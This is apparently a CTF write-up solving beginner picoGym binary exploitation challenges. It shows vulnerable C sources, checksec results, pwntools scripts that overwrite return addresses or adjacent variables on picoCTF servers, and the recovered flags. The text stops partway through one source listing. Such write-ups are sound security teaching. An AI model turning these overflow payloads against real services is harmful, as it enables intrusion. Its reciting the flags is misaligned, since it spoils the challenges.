Post

Solution of the initial picoGym pwn challenges

This is a writeup of the 15 easy binary exploitation challenges from picoGym. You can find these challenges at picoGym
There’s also an extra challenge at the end from another CTF :) Let’s get started ^^

buffer overflow 0

We are given this C file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1);
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

By performing a checksec, we get the following result:

1
2
3
4
5
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Before getting started, I created a debugging flag on a file named flag.txt. That way we can make the program run locally.

If we take a look at the code, the flag.txt file will be read from and written into char flag[FLAGSIZE]. The only way of displaying the contents of the flag is by triggering the signal function. That means that if we trigger a segmentation fault, for example, then we will have the flag contents displayed.

Luckily, the program uses the gets function. It will write into the variable char buf1[100] anything we want without considering its size. If we take a look at the vuln function, we will see that it copies from the input argument (which will be the buf1) into a buffer with size 16.

So, if we overwrite the return address of the vuln function with some nonsense, that will definitely trigger a segmentation fault.

You can just put a lot of A characters to make sure that the return address gets overwritten with it. I put AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. By looking at the program on the gdb we can see this:

bof0

The program would crash as we have ‘AAAA’ as the return address and that is not valid. Running the program outside gdb will make it go through the sigsegv_handler function, ultimately giving us the flag

flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}

buffer overflow 1

Here is the provided C file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

By performing a checksec we get the following:

1
2
3
4
5
6
7
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

As the binary doesn’t have a stack cookie, we can easily overwrite the return address using the gets function in vuln().

When overwriting the vuln function return address, we need to fill the entire buffer char buf[BUFSIZE], some other things in between and then the return address.

I runned the program inside gdb and used the pattern create -n 4 command. I also put a breakpoint on the vuln function ret instruction and run. When asked for an input, I provide the pattern generated by gdb. We end up on this situation:

bof1

There are a few important things here. Notice the address printed on the top of the screen: Okay, time to return... Fingers Crossed... Jumping to 0x6161616c. The return address printed here is 0x6161616c.

We can also confirm it by taking a look at the stack. We have:
0xffffd14c│+0x0000: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]" at the top of it.

The first 4 characters are laaa, which in hex equals to 0x6161616c. This is the return address being used by the function. That means we can simply change the laaa on our input to the return address we desire (in that the case the win function so that we can get the flag).

As we don’t have PIE, we can simply use the win function address directly, which is 0x080491f6 (you can get it by using the command disas win on gdb or putting the program inside a decompiler like Ghidra)

Putting all of this together, here is my solve using pwntools:

1
2
3
4
5
6
7
8
context(arch = 'i386', os = 'linux')
r = remote(saturn.picoctf.net, 64507)
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa'
payload += int.to_bytes(0x080491f6, 4, 'little')
r.sendline(payload)
r.recvline()
r.recvline()
r.interactive()

buffer overflow 2

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

And here is the checksec result:

1
2
3
4
5
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We also have a gets function on this one. I started this challenge by running gdb and using pattern create -n 4 on it. I put a breakpoint on the ret instruction from the vuln function and then provided the input with the generated pattern. This is a screenshot of my gdb instance:

bof2

I use pattern offset daabeaa to find at which position I am overwriting the function return address.

That means we need to write 112 bytes of something to reach the return address. I overwrite it with the win function return address (we don’t have PIE, so we can just grab it as it is and everything will be ok).

After overwriting the return address, we also need to take care of the function arguments. If we just write them right after the return address, when we make the comparation:

1
2
3
4
if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;

This is what will happen:

bof22

Notice how DWORD PTR [ebp+0x8] contains 0xf00df00d instead of 0xcafef00d. We can solve it by simply adding 4 extra bytes right before the first argument so that everything gets aligned.

So far we have: 112 bytes + return address + 4 bytes of anything + first argument + second argument

Here is how I solved it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(arch = "i386", os="linux", endian="little")

p = remote("saturn.picoctf.net", 58084)

payload = b'A' * 112
payload += p32(0x08049296)
payload += p32(0)
payload += p32(0xcafef00d)
payload += p32(0xf00df00d)

p.sendline(payload)
p.interactive()

x sixty what

This is a similar challenge to the previous ones. The main difference is that we now have a 64 bits file. Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

And here is the checksec result:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Here is the solve using pwntools:

The vuln function uses gets to write into the buffer of size 64. As the binary doesn’t use PIE, we can simply overwrite the return address with the flag function address as we see it on the binary.

Our payload needs 64 bytes to fill the buffer + 8 bytes to write into the rbp + the return address we want to overwrite.

Here is my solve using pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(arch = "amd64", os="linux", endian="little")

p = remote("saturn.picoctf.net", 63716)

payload = b'A' * 72
payload += p64(0x000000000040123b)

p.sendline(payload)
p.recvline()
p.interactive()

That gives us the flag: picoCTF{b1663r_15_b3773r_d95e02b6}

Local Target

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;

  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");

  printf("num is %d\n", num);
  fflush(stdout);

  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }

  printf("Bye!\n");
  fflush(stdout);
}

And here is the checksec result:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Inspecting the source code, we need to trigger this conditional: if( num == 65 ). But num is declared as 64 right after our variable input. Luckily, there is a gets function that writes into input. We can use it to cause a buffer overflow and right into num, which is a local variable and is therefore stored on the stack.

We just need to provide an input that overwrites our char buffer, overwrite the space in between the buffer and the num variable, and then just overwrite the num variable itself. As we want num to be 65, we can just write the character A into it, as the ASCII value of it is 65.

This is my solve:

1
2
3
4
5
6
nc saturn.picoctf.net 56776
Enter a string: AAAAAAAAAAAAAAAABBBBBBBBA

num is 65
You win!
picoCTF{l0c4l5_1n_5c0p3_ee58441a}

flag: picoCTF{l0c4l5_1n_5c0p3_ee58441a}

clutter overflow

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>

#define SIZE 0x100
#define GOAL 0xdeadbeef

const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts(HEADER);
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}

And here is the checksec result:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

As we can see on the source code, clutter is a char buffer of size 0x100. We need to overwrite the long code variable with the value 0xdeadbeef to print the flag.

As it is a local variable, long code most probably will be at the stack. Let’s insert a breakpoint right before the gets function and take a look at the stack at this moment:

cof1

0x7fffffffdff0 is the address on the rbp register. If we take a look at the value immediatly before that, there is a bunch of 0’s, which are probably the code variable. They are at the address 0x7fffffffdfe8. By doing some simple math with the address of the top of the stack and the address of the variable, we get: 0x7fffffffdfe8 - 0x7fffffffdee0 = 264. So we need to provide an input of 264 characters + 0xdeadbeef to precisely overwrite the code variable with the GOAL

Here is my solve:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("mars.picoctf.net", 31890)

payload = b'A' * 264
payload += p64(0xdeadbeef)

p.sendline(payload)
p.interactive()

RPS

This is a simple challenge as you only need to read the source code to identify what’s wrong. Here is it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set,
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case.
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    }

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");

  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");

    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins >= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}

We need to win 5 times in a row in order to get the flag. To check if your play wins against the computer play, the program does a strstr(player_turn, loses[computer_turn]). It checks if your string input contains the string of the play that wins.

If we provide an input of rockpaperscissors, that check will always hold true, as we have all the possibilities on the array loses. I solved it manually:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
nc saturn.picoctf.net 50553
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1

Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1

Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1

Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1

Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1

Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}
Type '1' to play a game
Type '2' to exit the program
2
Ncat: Broken pipe.

We can see the flag after the 5 wins. flag: picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}

heap 0

This is the source code of the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
        int rval = scanf("%d", &choice);
        if (rval == EOF){
            exit(0);
        }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
            exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

And this is the checksec result of it:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

To win, we need to make this comparation
if (strcmp(safe_var, "bico") != 0) works. That means safe_var needs to be different from "bico".

safe_var is defined globally, but we use it at the function init() to make it become a string with "bico":

1
2
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);

When we use the write_buffer() function, we do a scanf of a string and insert it into the variable input_data. If you pay close attention, input_data and safe_var are malloc’ed one after another, which means they are also located sequentially in memory. print_heap() confirms that when we run it:

1
2
3
4
5
6
7
8
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55bc1d8756b0  ->   pico
+-------------+----------------+
[*]   0x55bc1d8756d0  ->   bico
+-------------+----------------+

pico is at the address 0x557a2f2bd6b0 and bico is at the address 0x557a2f2bd6d0. This is 32 bytes of distance. If we write into input_data with 32 bytes + something else, this something else will be written at the safe_var variable.

You can write the following input on the write_buffer function:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop

After that, you can check using print_heap() that we indeed changed the safe_var:

1
2
3
4
5
6
7
8
9
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55bc1d8756b0  ->   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop
+-------------+----------------+
[*]   0x55bc1d8756d0  ->   noop
+-------------+----------------+

We can then just print the flag.

flag: picoCTF{my_first_heap_overflow_76775c7c}

heap 1

On heap 1, we have almost the same code from heap0, but the comparation used to get the flag is different. Here is how it is on heap1:

1
if (!strcmp(safe_var, "pico"))

The only difference here is that now we want the safe_var to be "pico"

On the previous solution, we changed our safe_var to noop. We can just use the same solution but change it to "pico" then:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

flag: picoCTF{starting_to_get_the_hang_e9fbcea5}

Picker IV

This is the provided source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void print_segf_message(){
  printf("Segfault triggered! Exiting.\n");
  sleep(15);
  exit(SIGSEGV);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

And this is the checksec result:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Apparently, the code will ask us for an address in hex and jump to it. As we don’t have PIE, we can just pick the address with no worries. I used gdb to get the address of the win function: 0x40129e

The scanf will read an hex value, so here is what I did:

1
2
3
4
5
nc saturn.picoctf.net 59045
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}

flag: picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}

basic-file-exploit

The source code is a bit long, but here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60


static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set,
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case.
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    }

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


static void data_write() {
  char input[100];
  char len[4];
